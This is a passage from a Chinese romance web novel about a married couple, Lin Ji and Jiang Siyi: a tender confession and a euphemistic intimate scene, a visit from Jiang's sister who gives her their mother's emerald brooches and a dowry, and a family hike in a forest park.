更不用说之后埋在岁月之下,一遍遍狠狠压抑的爱意,更是具体到被她一次次描绘,不容置喙。 可是,但凡念头触碰到这场订婚变更的源头,黑暗的房间就会忽然从四面八方聚拢,将她封闭在中间。 瞬间凝滞她的呼吸。 她知道,对抗了多年的那场灾难还盘旋在心上。 在姜司意的陪伴下淡化了些,但阴影尚未完全消散。 心理问题还在,还需要药物控制。 即便用最乐观的想法去看待心理问题的反复,依旧有一件更折磨的障碍。 被拐卖的七年里发生的事,林棘曾经试着跟林雪泊说了一点。 只是一点点。 林雪泊的眼泪在眼睛里聚集的过程,那痛苦是如何从她的心传递到母亲的生命里,清晰的过程让她至今难忘。 痛苦如果告诉了别人,自己不会失忆,痛苦也不可能自行消解。 只会分裂。 一份痛苦会分裂成同时扎进两个人心上的钉子。 也会变成无数个明天里,潜藏在灵魂深处,不经意就会遭遇的尖叫。 她要让姜司意心上也钉下钉子吗? 也要自己最爱的人,在某个思绪闪回时,被那充满恶意的尖叫折磨吗? 林棘不忍心这么做。 舍不得让姜司意好不容易变回爱笑的眼,又染上忧郁。 但有多爱她,爱了她多久,还是想她知道。 现在就让她知道。 林棘:“从,很小很小的时候开始。” 姜司意果然有些惊讶。 “很小很小的时候?” “嗯。咱们小时候就见过,你还记得吗?外婆们都还在。在那个冬天也很温暖的海岛。有虫,你最怕虫。但那里很漂亮,海滩的白沙像面粉一样细。” 姜司意眸光闪动。 有点内疚道:“不太记得了。” 她对林棘最初的印象,是林棘第一次回国时,两人在学校的偶遇。 之前的海岛,她没有印象了。 林棘轻轻颔首。 那就是真的不记得她俩订婚的事了。 “很正常。那时候你很小,要是记得才怪。” “很小?多小?” “三岁。” 才三岁,那的确不太会记事。 又遗憾。 原来她们那么小就见过面,有过交集,却没能刻在她的记忆中。 姜司意好奇问道:“三岁时候的我,是什么样的?” 妈妈离开太久了,姐姐只说她从小就静气,爱笑,不爱闹。 姜司意只看过自己更大一点的照片,对于三岁的自己很陌生。 她想知道,从林棘的视角看她,是什么模样。 前不久才从母亲的对话里想起的过往,这么快就派上用场。 林棘黑瞳亮亮的。 “你喜欢跟着我出去玩,玩累了就要我抱。很爱哭,我不抱就哭。” 姜司意:…… 被她说的有点害臊。 “不会吧?” “会哦。” “……” “睡觉还会捏着我的衣服。嗯,这点现在一样。” 林棘的话让她想起两人第一次接吻时,被她亲手荼毒的衣服。 此时此刻,她就在情不自禁间捏住了林棘的衣摆。 姜司意:…… 立刻放开。 又被林棘扣着手腕拉回来,让她继续捏。 耳朵被热意弄得痒痒的。 “那后来,你去国外读书那么多年,再回来时……” 姜司意的另一只手也撑在台面上,支在林棘的双手中间,依旧是被她包围的姿势。 说着不好意思的话时,指尖不自然地挠挠台沿。 “还,喜欢我吗?” 林棘的眸光不明缘由地凝滞了片刻,随后,想到姜司意初中时的可爱模样,又染上笑意。 “嗯,很喜欢。” 姜司意被她直白的话弄得心头更热。 那不是从小就暗恋我? 那,我以前那么怕她,总是绕道而行。 后来,还和别人订婚了。 她……是不是很伤心啊。 内疚的情绪像潮水,一波波往心上拍打,酸痛的感觉在胸腔里不断蔓延着。 姜司意勾住林棘压在台面上的手指,抬起,晃动着,轻轻将她往自己的身前带。 本就近的距离,在她的主导下消失。 眼前这对别人一贯疏冷的女人,她只用了这么一点点的力气,就轻易勾到了身前。 指腹相抵,轻轻摩擦,指尖泛出羞赧的红晕。 镜柜灯光从身后漫过来,为姜司意描了一层软蓬蓬的金边。 她的美和静,浑然天成,清正温柔。 污糟的环境里开出纯然的花,最最难得,不容玷污。 小指勾得更紧一些。 像拉钩,像进行了一遍本就属于彼此的誓言。 姜司意的目光停留在林棘的唇上。 十厘米的身高差,主动去吻的话,还要计算一下距离。 恐怕她没意识到,自己观察林棘双唇的目光有多明目张胆。 正思索着踮起脚尖主动去吻时,腰肢已经被环住了。 两具身体紧贴在一起。 下颌被抚起,温热的唇被精准地摄取。 像搅开甜软沁香的花瓣,轻而易举。 越是不容玷污,越是想让人留下只属于自己的痕迹。 姜司意喉咙深处溢出一阵细微的呜咽声。 而后很快被占有着她的唇舌封堵,变成了闷在喉中的鼻息。 被动的小舌起初被吻得不知所措,只能任由纠缠。 缠得她太热,被林棘的气味染透的身子烫得很。 后颈的红晕往上蔓延,不由自主想要更多。 软舌慢慢试着前探,双唇模仿着林棘。 不甚熟练,可情不自禁,就是想吻她。 告诉她自己也喜欢她。 感受到姜司意在笨拙又心动地回吻。 这份青涩的主动,让林棘在意乱情迷中微微晕眩。 吻更深,姜司意被她强势的深吻弄得脖子一而再往后扬。 细微的呜咽变成了动情深喘的气息。 从腰到脖子,都在轻颤。 脖子扬到酸麻之前,整个人被林棘托住,抱起来。 晕晕乎乎地坐到洗漱台上,身高差一下子缩短。 很自然的角度,更适合长时间的接吻。 每次林棘的吻都很凶,很缠绵。 都有着和她冷淡的气质截然相反的侵占欲。 腰被手臂箍着,后脑被掌心压着。 吻她的女人像蛇,像藤蔓,紧紧束着她,占有她。 皮肉微痛,睡裙凌乱。 此刻的姿势和模样肯定很不雅观。 姜司意却好喜欢这份浓郁的被占有感。 林棘的吻从唇至漂亮的下巴,到纤细无暇的脖子。 再埋头,托起柔软的雪白,荡漾起香甜。 无人涉足的寂美雪地,独独留下林棘的一抹鲜红。 纯美无暇的白花,被一个个侵占的吻染成了绯红。 雨打过的白玉兰,紧紧依附在缠她的蛇上。 等到被抱上床面,才意识到方才自己发颤的双腿,情不自禁缠过她的腰间。 腿弯又被握在发烫的掌心里。 纤美的指尖托住她腿的感受,瞬间让她想起做的第一个关于林棘的潮湿的梦。 那场荒诞的梦,此刻竟真的在上演。 意识被推抵得浮浮沉沉。 像小猫般细嘤着。 不用戏弄就开始软软地求饶。 林棘答应着她,与此同时覆盖。 姜司意原本已经虚软的后背,又开始一阵阵发紧。 “……嗯?不是、答应我了么?刚刚才——” “嗯,不动了。” 只是摁着。 可本该落去的居然还持续着。 持续到难以想象的时间。 “没事的,乖,司意。” 林棘亲亲她软热到几乎要烧起来的耳朵。 安抚那快要失序的颤抖。 姜司意失焦的双眸透出水光。 水痕染过林棘从未脱下的结婚戒指。 此刻的姜司意是完全承不住露水的叶。 淋淋落落,不堪入目。 终究不舍得挠抓,指腹在林棘的后背留下隐忍的指痕。 又是从未想过的事。 怎么会被弄成这样。 姜司意在昏昏沉沉时想着,怎么能持续这么久? 林棘她…… 小佑她……好像会很多不得了的事。 累得脱力,被林棘喂了水,贪婪地喝了很多,才在昏沉中睡去。 睡至午夜,忽然被某种情绪突兀地拽醒。 难怪。 姜司意睁开眼,望着染上夜灯微光的天花板。 难怪以前总是觉得,有种如影随形的寂寞感充斥着林棘周身。 当她喜欢我的时候,我却对她避而远之。 就是那份寂寞的源头。 我是罪魁祸首。 鼻尖蔓延着微酸,姜司意转身抱住身侧人。 林棘的身体感受到姜司意的拥抱,完全没有醒来,却有一丝笑意浮上脸庞,抬起胳膊,轻轻地回握住了她的手。 每一个拥抱,都不会让她落空。 【作者有话说】 林棘:宠妻第三十二步,懂的都懂4.0[好的] 67 第67章 ◎恋人间都是这么肉麻的么?◎ 第二天早上醒来,发现手被林棘握着。 谁在床上还牵着手。 还牵得这般紧。 姜司意嘴角漫出满满的笑意。 不想打扰林棘的好睡眠,让她多睡些。 姜司意闭上眼,跟林棘一起再睡一会儿。 …… 今天是休息日,姜司意吃完早饭,收到严逾的视频通话申请。 上次一起打球时,和严逾、岑麓都加了微信好友。 严逾在视频里说,想趁着天气好,去户外徒个小步。 视频都不打给林棘了,直接找姜司意。 反正只要把姜司意约出来,不怕林棘不来。 姜司意坐在沙发上接视频,严逾还是一口一个“嫂嫂”叫着。 忽然视野里看到一张黑沉沉的脸,出现在姜司意身后侧。 严逾:【哎呀妈呀,吓我一跳。】 林棘耷拉着眼睑,【看了二十多年的脸,突然就能吓到你了?】 严逾:【这不是嫂嫂太甜美,把你那张凶脸衬托得更可怕了嘛?怎么有沙发不坐,非要坐在我嫂嫂的扶手上。粘不粘人啊佑姐。】 客厅的合围式沙发能坐十多个人,林棘偏偏就是要坐在姜司意所在的单人沙发扶手上。 林棘大言不惭:【嗯,我就这样。】 刚才姜司意就是随意一坐,完全没想是单人沙发。 拉着林棘的手,坐到三人沙发上去。 左边挨着林棘,右边靠着雪球,这个家会喘气的都喜欢粘着姜司意。 姜司意对严逾说:【我已经跟我姐说过徒步的事儿,她说没问题。】 严逾:【那太好啦,明天早上九点,我和岑麓开车来接你们。】 原本前几日就想让姜司聆来家里做客,姜司聆说: 【不着急,等休息日里再说,不然平时你们上班,还要分神接待我,多累啊。】 而且她也有点事要办,等休息日再聚不迟。 今天就是休息日了,林棘问姜司意: “要不要今天让姐到家里来,我正好在家,让姐尝尝我的手艺。晚上就住这儿,明天早上一起出发。” 姜司意:“嗯嗯,我跟她说。” 和姜司聆联系后,姜司聆说她现在就在酒店。 姜司意说去接她姐,林棘:“我和你一起去。” 接人也要一起。 姜司意想到刚才严逾说的话——粘不粘人啊佑姐。 两人一起把姜司聆从酒店接到家里。 这几天姜司聆没少在外面逛,买了一堆的礼物,这会儿统统带来,三个人六只手都要拿不下。 姜司聆离开J城有很多年了,但自己家乡哪个区域的房最贵,她心里还是有数的。 林语水岸的地理位置极其优越,市中心最新的高端社区,周围配套已经非常成熟,住的都是J城新贵。 在寸土寸金的三层大别墅面前,姜司聆那点薄礼显得更薄了些,都不太好意思送出手。 看出姜司聆有些拘束,林棘拿着她送的很有设计感的灯,摆到电视柜醒目的位置。 “司意,姐。这个位置合适吗?” 姜司聆看妹妹,妹妹说:“合适啊。” 林棘:“嗯,我也觉得很搭,这里正好缺个摆件。艺术家果然很有品位。” 林棘很少夸人,一旦夸,即便说得很朴实很直接,也显得特别真情实意。 谁能想到当初又害怕又羡慕的同班学霸,现在成了自己的妹媳,还喊她“姐”。 那一口一个“姐”,都给姜司聆叫得不好意思了。 姜司聆双手抓了抓裙边,“那我,以后叫你小佑可以么?” 林棘:“当然,叫我什么都行。” 姜司意在一旁看着“乖巧”的林棘,和依旧有点紧张的姐姐,忍不住笑。 哒哒哒—— 一阵激动的脚步声从院子里传来。 姜司聆回头,看到吐着舌头向她兴奋狂奔的雪球! 姜司聆:“雪球!” 雪球一个猛扑,被姜司聆捞进怀里。 小尾巴疯狂甩动,小舌头各种舔姜司聆的脸。 姜司聆:“哎呀哎呀这口水,属实有点太热情了啊。乖宝宝还记得大姨呢,怎么胖了这么多啊,你现在真是个球了。头毛是不是刚修过啊,头跟圆规画出来的一样。大姨给你买好吃的了,吃点去~” 姐姐跟雪球玩去了,姜司意看林棘在厨房,跟进去。 “我来给你打下手吧。” 姜司意脑袋从林棘身后钻过来。 “我会切菜。” 林棘正在洗蔬菜,说:“不用了,你去陪你姐。” “可是……” 这么多菜,你做起来会累的。 还没说完,嘴就被林棘的吻封上了。 姜司意:…… 十厘米的身高差,她要亲林棘还得踮脚,还得瞄准。 林棘亲她却是易如反掌。 姜司意还要再开口,林棘又吻上来。 这次的吻不是蜻蜓点水,启开她的唇瓣,还要把她圈在厨房岛台边。 姜司意“唔”了一声,转身仓惶逃了。 逃到安全的距离,无语地回头看她。 林棘单手撑在岛台上,“你切一个土豆的时间我能切十个,你不常拿刀,容易切着手。别担心,食材我早就备得差不多了,就三个人吃饭累不着我。客房在二楼,不带你姐上去?” “哦……” 只好听了林棘的话。 去找姐姐的时候,姜司聆正抱着雪球在和格伦达视频。 还没走过去,就听到格伦达一个劲喊宝贝亲爱的老婆,想你爱你一颗心都是你。 还是中英文穿插来的,各种亲密的昵称和调情的话层出不穷。 让姜司意的脚步都缓了几分。 刚在一起一个月,的确是热恋期,可也太肉麻了。 还以为性格内敛的姐姐会和自己一样觉得肉麻。 谁知,姐姐也一口一个亲亲老婆想死你了。 姜司意:…… 陷入沉思。 所以,恋人间都是这么肉麻的么? 就她死板。 大家都那么知情识趣,懂得取悦爱人。 她这样的……连床上都循规蹈矩,声也不出。 林棘会不会觉得她有点无聊? 姜司聆看到妹妹来了,拉着她和格伦达视频。 视频里的格伦达散着深棕色长卷发,深绿色的眼眸非常迷人,学着姜司聆叫姜司意“宝宝”。 格伦达:【十月份的婚礼,我一定来。】 姜司意被姐姐搂着肩膀,笑道:【好,那到时候见啦。】 挂了视频,姜司意提着姜司聆带来的包,一起去二楼客房。 雪球蹦蹦跶跶走在最前面。 这栋楼它已经了如指掌,像个导航小狗,率先跳上楼梯。 姜司聆问:“有三楼哦?没安电梯?” 一般而言,三层楼会比较倾向安装别墅电梯。 “嗯,是,一会儿把包放下我带你去转转。” “好呀。” 姜司聆就随口一说没电梯。 被这么一提醒,姜司意也发现了。 这么说起来,林棘是真的不喜欢电梯。 二楼姜司意很少去。 之前没有将自己放在这房子女主人的位置上,觉得不太好乱走。 最近倒是没什么心理负担了,只是二楼和三楼除了硬装,几乎是空的。 楼上泳池去游过几回,二楼则很少驻足。 姜司聆看到二楼空旷的环境也挺讶异。 “什么都没有啊,就一个柜子。” 姐妹俩和雪球,一同看向角落里半人高的恒湿恒温柜。 姜司意心里隐约猜到里面存放着什么,立刻抽离思绪,让自己不要多想,带姐姐去客房。 进了屋放下包,姜司聆拉着妹妹坐到落地窗边的沙发上。 递给她一张银行卡和一个首饰盒。 姜司意一看就知道这些是什么。 正要开口,姜司聆拍拍她的手背: “宝宝你先听我说。这*首饰盒是我前两天刚从银行的保险柜里取出来的。你还记得吗?这是妈妈留给咱们的遗物。” 姐姐这么一说,她想起来了。 妈妈过世的时候留下的东西很少很少,唯有两对祖母绿宝石胸针。 “之前咱们年纪太小,又居无定所,怕随身携带不安全,我就存到银行里了。现在,你有家了,当然还是放在家里最好,让妈妈的念想跟着你。” 姜司聆把首饰盒打开。 “这是妈妈留给你的那对。” 一模一样的两枚祖母绿宝石胸针,并排安静地躺在黑丝绒首饰盒中。 姜司聆:“我记得妈妈说,可以送给能度过一生的爱人。幸好我一直留到你真正结婚才给你。” 祖母绿宝石包裹着微观史诗般灿烂的花园效应。 它的美跨越了时间,忽然让姜司意感受到了母亲真真实实存在于她生命的气息。 视野变得有些模糊,姜司意赶紧吸吸鼻子,收起情绪。 姜司聆摸摸她脑袋,然后把银行卡推到首饰盒前。 “这是我给你的嫁妆。” “姐……” “你听我说完嘛。宝宝,我不是个合格的姐姐,当年你也喜欢画画,可妈妈生着病,你让我安心在外面学画,自己照顾妈妈,就没再去学画了。那时你才十一、二岁,才是个小学生。我居然也就让你自己撑着了。” “……说些干嘛啊。多少年前的事了。你也没让我自己撑着,每个周末和假期你都回来了啊。是我们一起照顾的妈妈。而且那时候谁也没想到妈妈的病情会突然恶化,还以为住一段时间就能出院了。” “不一样的,我是周末和假期回来,你则是每天往返医院,付出的精力和时间完全不相同。之前没机会说,今天就让我都说了呗,说了心里好受点。” 姜司聆也吸了吸鼻子。 “如果当时你继续画画,可能成就会在我之上。但是为了让我安心,放弃了。后来,又为了我的事业,一直忍受宋缇的欺负。是我这个当姐姐的没用……还需要妹妹来保护。” 说到这儿有点说不下去,姜司聆眼泪珠子失控地往下落。 周围没有纸巾,姜司意只能用手背给姐姐擦眼泪。 “我没再画画是因为想读艺术史,不然随时都能再拾起来,不是吗?傻瓜,姐妹俩互相照顾是应该的啊,你也为我做了很多事,怎么能说没用呢?你还记得吗?妈妈去世的时候,我们说好了要保护彼此的。这是说好的。” 姜司聆“哎”了一声,眼泪还在掉,又笑起来。 “我干嘛啊真是……总之,这是我为你存的嫁妆,不多的,是我这个当姐姐的一点点心意,你一定得收。我看林棘对你这么好其实挺放心的。可嫁妆就是用来傍身,人生无常,多一点依靠总是没错。宝宝,不要再拒绝我了。” 正说着,一直坐在姜司意腿上围观的雪球,突然伸出爪爪,压在银行卡上。 本球收了。 红着眼的两姐妹同时看向雪球,忍不住笑出声…… 最后一道菜松茸响螺片盛到盘子里,饭菜做好了,林棘唤姐妹俩下来吃饭。 姜司聆还以为是叫外卖,居然是林棘亲自下厨。 看到一桌子丰盛的菜,姜司聆有点不敢相信。 高冷学霸居然还会做饭? 做饭可累了,现在能亲自下厨的人少之又少。 偷偷看一眼无甚表情的林棘。 没想到,她居然是个愿意为家人下厨的人。 妹妹被恶霸强占的念头已经被抛到九霄云外。 只是,现在看到饭菜和林棘出现在同一个画面里,什么都还没吃的姜司聆还是有种胃胀胀的幻觉。 看林棘拿公筷,本能地心头一哆嗦。 林棘礼貌微笑道:“我给我自己夹。” 姜司聆:…… 这一顿饭姜司聆的肚皮平安过关。 晚上,姜司意想要去陪姐姐睡,被姐姐反手丢出屋门。 姜司聆抱着雪球宣布:“今晚雪球陪我,你别来打扰我们啦。” 姜司意:…… 慢悠悠走下楼,回到主卧。 林棘刚洗完澡,正在给头发上护发精油。 姜司意去关窗户的时候,感觉林棘从身后走过来。 脚步声一点点靠近,已经到她身后了。 高挑女人的身形所带来的压迫感隐约浮在后背,距离好近。 这几日频繁的亲密之下,身体自动对她有了反应。 那道身影一靠近,脑海中自动会有即将接吻的预感。 可是…… 姜司意挡了林棘一下,有点不好意思地低声说: “姐姐在家呢……” 姐姐在楼上,距离不算近,不太可能听到楼下私密的声音。 但,身处于同一栋楼,姜司意就是有点放不开。 林棘拉住窗帘的动作顿了顿。 姜司意也看向她的手。 林棘眨眨眼,“姐姐在家,不能拉窗帘吗?” 姜司意:…… 会错意的窘迫立刻变成一蓬蓬的热意,往她的脸上涌。 林棘像是寻思了一会儿,了然道:“原来在你心里我是这种人。” “不是啦……” 还敢继续揶揄。 “那是在气我不是这种人?” “你,林棘——” 姜司意羞恼地两掌同时扑在她胳膊上,像只生气扑人的小兔子。 林棘没忍住笑出声。 怎么凶起来也这么不凶? 一阵动静和细微的人声从楼下传来,也在关窗的姜司聆怔了怔。 这是…… 呀。 立刻把窗关上,躺到床上时,塞上静音耳塞。 命令自己速速睡觉。 今晚什么都不要听到,嗯,什么都听不到。 …… 最近林棘入睡都算顺利。 今晚躺在床上,听了一会儿助眠音乐呼吸就平缓了。 应该睡着了。 换姜司意在艰难寻找睡意。 刚才居然连名带姓叫了林棘。 没像普通情侣那么亲密,唤她一些甜甜的称呼就算了,竟直接叫了她大名。 还拍她了。 哎…… 偷偷看着林棘闭着眼平静的睡颜,小小声演练着。 “亲爱的,老婆,宝贝。” 噫。 好肉麻。 姜司意被自己肉麻得抖了抖。 算了,学不来。 林棘也未必喜欢。 就要翻身,却被枕边人长长的胳膊圈住。 勾回来,紧紧抱入怀中。 姜司意:! 怎么没睡啊。 闭着眼的林棘亲了亲怀中人开始发烫的软耳朵,轻声道: “亲爱的老婆宝贝,晚安。” 【作者有话说】 林棘:宠妻第三十三步,老婆想要的爱称全都叫一遍(bushi 68 第68章 ◎我也是小姜姐姐的粉丝◎ 第二天林棘醒得有点早。 看姜司意还在睡,在她额头上轻轻一吻,出门晨跑。 已经进入最适合户外运动的季节。 林语水岸有专业的塑胶跑道,供业主在社区内锻炼身体。 记不清有多久没晨跑了,失眠的这些年,早上醒来总是混沌疲倦。 连续一个月睡了好觉,在晨光中慢跑,久违的惬意。 她还是喜欢开阔的地方,喜欢阳光。 慢慢跑了两公里时,收到林雪泊的语音通话。 将蓝牙耳机从听歌状态中切到语音。 林雪泊:【小佑啊,司意的姐姐是不是回国了?】 之前林棘就想跟她说了,林雪泊女士最近在京都度假,姜司聆看上去一时半会儿也不会走,就暂时延后。 现在林女士回来了。 不用问都知道她是从哪里得知的消息。 樊青拿着一份薪水两头忙活,也挺尽职尽责。 今年年底是不是该再给她提提年薪了? 林棘从树荫下穿过。 【是。您想见见她?】 林雪泊:【当然呀,我都好多年没见过司聆了。这次好不容易回来了,亲家当然要见一面。】 林棘:【我们今天和司聆一起去徒步,就在森林公园,不远,全程三公里左右,来吗?】 林雪泊:【来,那我叫上你乔阿姨一起去。】 林棘:【行。】 林雪泊想了想,突然加了一句,【阿青来吗?】 林棘:【你是想她来,还是不想她来?】 林雪泊:【要是没事儿的话叫上她嘛。】 樊青有事没事,还不是林棘说的算。 林棘又问:【是你想她来,还是乔阿姨想她来?】 林雪泊眼睛笑得弯弯的,没直接回答她的问题,只说: 【在阿青面前别叫乔阿姨,叫姐。】 林棘:…… 林棘:【那我管你叫什么,雪泊姐?】 林雪泊:…… 林棘:【一会儿见,雪泊姐。】 挂了女儿的语音,转头给乔槿发微信时,想到刚才的对话,林雪泊望着天花板。 “什么辈分啊,乱成这样。”。 林棘跑步回来,发现姐妹俩已经起来了,在冰箱前捣鼓着。 林棘:“在找什么?” 姐妹俩看到她有点尴尬。 姜司意:“我们想做早餐。但是……” 林棘帮她补完后半句话。 “但是没有会做的食材。” 姜司意看上去就是预制菜选手。 姜司聆估计也是半斤八两。 姜司意一时沉默。 冰箱里的食材别说是下锅做,就是名字她也说不出几个。 “是……可昨天你做饭,今天我们想着换我们来。” 某吐司应该不知道,自己诚实回答,且想照顾人的样子有多可爱。 格外好亲的娇嫩嘴唇一张一合着,不适合讲道理。 适合立刻被堵上。 只是,姐姐在这儿,林棘也只好拍拍她的脑袋。 “我去跑步前已经把食材准备好了,你们等着吃就好。” 姜司意:“那怎么可以。” 林棘:“可以哦。” 姜司意:…… 林棘双手扣着她的肩膀两端,给她调转个方向,面向客厅。 “亲爱的老婆宝贝,看到那个沙发了吗?坐上去,等十五分钟,然后带上嘴来吃就行。” 姜司意:。 感觉这是自己指挥雪球的手法。 林棘速速冲了个澡出来,十分钟搞定三人早餐。 姜司聆心怀感激地坐到这一桌色香味俱全的美食前,拍照发给格伦达。 【我妹媳,这手艺是不是超好?】 格伦达很快回复了流口水的emoji。 她和格伦达都是非常不会做饭,也懒得做的类型。 平时就吃点白人饭裹腹,想吃顿好的全靠餐厅的良心。 画起画来更是一低头一抬头,一整天过去了,肚子比她脑子反应还慢。 这两日在家中吃到用心又好吃的饭菜,不免生出“这才是家”的感受。 不知道格伦达吃到这样的中餐会是什么表情…… 作为年薪百万的优秀助理,负责BOSS的工作和私事,随叫随到是基本的职业素养。 林棘搬进林语水岸后,也给樊青在社区里配了一套小洋房。 社区再大,踩着平衡车过来就十分钟。 今天不用工作,林棘跟她说就是来玩的,徒步去,所以她穿得很随意。 上身短款的摩卡色呢子外套,下半身搭黑色皮短裤,配一双球鞋。 难得散下长发,平日里的商务感全然不见,又酷又美,看着比穿着职业装时年轻了好几岁。 樊青嚼着口香糖踩着平衡车,到了林棘和姜司意家门口,熟练地把平衡车往院子里一靠,扫脸进车库开车。 今天雪球也跟着去玩,上了车又紧张又兴奋的,小脑袋一个劲到处看。 林棘坐副驾,让姐妹俩带着雪球坐在后面。 车缓缓开出车库,林棘和亲朋好友们联系,说她们大概一小时后到森林公园。 严逾:【好滴,我们这就出发,一小时后大门口见!】 林雪泊:【我们也来咯!】 开车的樊青很敏感地捕捉到了关键点。 “们”? 等红灯的时候,樊青看似专业地问:“BOSS,今天来多少人?后备箱里的水可能不够,得去买。” 百万年薪优秀助理,还有水没备够的时候。 这理由换成别人合理,放在樊青身上,要林棘相信的话只能真掀开头盖骨,换个傻点的脑子。 也不拆穿她,林棘直接告诉她今天都有谁来。 “我们这里四人一狗,加上严逾岑麓两人,还有我妈和……” 顿了顿,实在叫不出乔姐。 “和,乔槿。” 樊青:…… 果然。 避了这么多天,终究还是要见面。 到了园区,把车停好,樊青从镜子里看自己。 偏偏今天这打扮,算是彻底撞枪口上了。 哪里来的小屁孩。 站到某阿姨身边,不得当场变成她女儿? 也不能当场变装,太刻意。 思来想去,把头发盘起来,盘了个和下半身非常不搭的发髻,勉强提升了一点点视觉上的年龄感。 一下车,就和正在给林雪泊打电话的林棘对视上了。 林棘一边说话,一边暗暗注视她的新发型。 樊青:。 BOSS求求别看了,谁都有点难言之隐。 所有人都到齐。 樊青和乔槿站在人群的两端,一开始眼神都没有交汇。 仿佛那晚吻得险些失控的不是她们。 樊青双手抄在上衣口袋里,看天看地看空气了一会儿,才不动声色地看向乔槿。 今天的乔槿穿着长裙,依旧雍容明艳,腰肢撩人,满满成熟的风情。 只是唇上有个已经结痂的小伤口,和她精致到头发丝的状态有些违和,多少有点醒目。 雪球看到林雪泊就往她怀里冲。 林雪泊摸着雪球的圆脑袋,笑得眼角开花。 “现在和我这么好啊?可我今天没给你带零食哎。” 乔槿:“雪泊,雪球,听上去就沾亲带故的。” 林雪泊:。 林雪泊本想瞪她一眼,却发现了伤口: “嘴唇怎么破了?” 被小猫胡作非为,不知轻重咬的。 乔槿目光淡淡从罪魁祸首脸上掠过。 本来在偷看的樊青,假装什么也没发生,收回视线。 乔槿只说:“上火。” 你最好是上火。 看破不说破,林雪泊顺着她的话,给了几个降火的好方子。 今天的天气有多适合徒步。 不冷不热,阳光正好。 一行人从巨型榕树下走过,凉风习习,不远处还有小型的瀑布。 姜司意被姐姐挽着胳膊,姐妹俩平时都是话不多的性格,聚在一起倒是嘴没有停的时候。 从国外的生活聊到工作,再说到和格伦达的恋情。 姜司意惊讶道:“居然是格伦达先表白的?” 想到那天的事,姜司聆整张脸埋在妹妹肩头。 “你不知道,当时哎呀给我吓的,一屁股坐地上了。” 想到那场面,姐妹俩像树枝上紧挨在一起的小麻雀,笑个不停。 “这么说起来,格伦达是你从小就崇拜的画家,她大你……” 姜司意扳着手指算。 姜司聆立刻给出答案,“十五岁。” 本来距离她们有好几步远的樊青,听到这番对话,默默从后方往她们的方向靠拢。 谁知她一靠过来,姐妹俩心有灵犀地笑了一阵,不讨论年龄差了,转口去说格伦达画展有多牛。 不是,聊天的中心思想这么涣散的吗? 樊青气鼓鼓又默默移走。 姜司意一边接着姐姐的话,注意力还时不时被走在前面的林棘吸引过去。 今天林棘束着马尾,戴了一顶酒红色的鸭舌帽,黑色长卷发从帽后抽出来,墨镜之下是轻便的运动服,腰间还挂着“柿柿如意”。 说是大学学姐完全没人会怀疑。 感觉有点陌生。 偏偏还是她的老婆。 姜司意心里罪恶地想,好像突然多了一个新老婆。 而且,怎么穿着运动裤也能让人直观地觉得腿好长好长。 林棘依旧穿的是长裤,吝啬地把比例惊人的长腿全部包裹住。 这么说起来,林棘是很少穿短裤的。 那双美腿鲜少暴露在别人眼里。 却被姜司意肆无忌惮地抚过。 某天夜里,被林棘爱到脑中一片空白时,她下意识地抓着这什么,摸索着什么。 光滑柔韧,手感极好。 后来才发现是林棘的腿。 那双紧致匀称的名品美腿,被姜司意不客气地又摸又揉,留了好几道交错的指印。 后来有好好向林棘道歉。 林棘说没事的,补偿我一下就好。 那时姜司意天真,立刻就答应了。 然后被林棘抱着“补偿”到了后半夜。 在林棘的捻弄下,从腿根红到了膝盖。 …… 思维都不知道发散到什么地方去了,直到雪球跑到她脚边,才勉强收回。 每次出来玩之前最激动的是雪球。 跑两步就累得吐舌头趴在地上当狗毛地毯的也是它。 这回才走了几百米就开始要人抱。 今天一大票的人,“坐骑”倒是管够。 雪球被林雪泊带去宠物店,剪了比熊届最可爱的头毛后,在社区里的人气已经很旺了。 这会儿被大家一一抱过去,击鼓传狗,又抱又搂,又亲又揉。 雪球双眼惊恐,正圆形松松软软的头毛成了嫩牛五方,慌张地挣脱,逃向亲妈。 被亲妈抱进怀里,雪球一脸从太过热情的姐姐阿姨魔掌中逃离的虚脱,脸颊上还有不知蹭到了哪个莺莺燕燕的口红印。 被林雪泊养得胖了一大圈的妈宝狗,死活要赖姜司意怀里。 姜司意怀里一只坠手小胖狗,还背着装了水的背包。 林棘慢了两步,并到她身侧,要抽走她的包。 从小就很独立,没习惯在亲友们面前被自家老婆照顾的姜司意道: “不用啦,我可以自己背。” 林棘也没多说,趁着乔槿过来和姜司意说话的时候,偷偷把她插在背包侧边网兜里的水给抽走。 注意力都在和乔槿的对话上,完全没发现背包轻了的姜司意,都快走到终点了也没觉得累。 还想呢,看来最近打球有点成果,体力精进不少啊。 林棘拿了她的水,放到自己的包里,默默跟在她左右。 姜司意什么时候想喝,什么时候就能递给她。 有难走的路,林棘也会停下等着她过来,牵着她的手带她过去。 一双眼,只装满了这个人。 这些细节姜司聆都看到了。 回国前,害怕妹妹被恶霸强占的她,完全没想过眼下看到的场景。 最想要的答案,已经得到了。 林雪泊不知何时走到姜司聆身边,和她同样看向林棘和姜司意。 “小佑是个性格内向,不太会表达的孩子。” 姜司聆看向说话的林雪泊。 林雪泊:“可对于珍爱的人,她一直在努力去表达。表达喜欢,表达保护,表达非她不可。” 姜司聆知道林棘对妹妹的爱,是低调却细致入微的。 姜司聆:“我妹妹也是个内向的孩子,没想到,两个内向的人也能这么契合。” 在林棘身上,姜司聆看到了“伴侣”这两个字最最具体的模样。 伴侣,就是彼此陪伴,分担人间一二事。 真好,这世上,又多了一个真心爱着宝宝的人。 一颗悬着的心,算是彻底安稳地落下。 新作的灵感忽然诞生! 林雪泊今天有点陷入浪漫主义。 “真好啊,兜兜转转,最后还是她俩。这就是命定的爱人。” 姜司聆正在思索为什么用“兜兜转转”这个词。 忽然感觉左右两边有两座大山从后方包抄过来。 “嘿,老同学,回国怎么也不找我们玩?” 严逾亲热地搂住她的肩膀。 走在她另一侧的岑麓面无表情道:“好久不见,加个好友?” 前方的林棘投来安静的目光。 姜司聆:。 提问,被高中时期同班最不好惹的三大刺头同时注视,是什么样的体验? 缩成猫头鹰的姜司聆,居然在毕业十多年后得到了答案…… 到了这次徒步的终点。 整个森林公园视野最好的玻璃观景平台。 这儿地势高,整个森林公园茂盛叠翠的景致能尽收眼底。 远处J城的地标建筑也隐约可见。 更远处,是渐渐染上枫红的西山山脉。 视野好特别出片,自拍的、合照的,来打卡的人真不少。 林雪泊和乔槿找了个好位置,自拍的话拍不出后面的风景。 林雪泊对一直莫名保持着距离的樊青说: “阿青,你来帮我们拍拍照。” 樊青慢吞吞的,就好像之前完全没注意到她俩。 “嗯?行吧。” 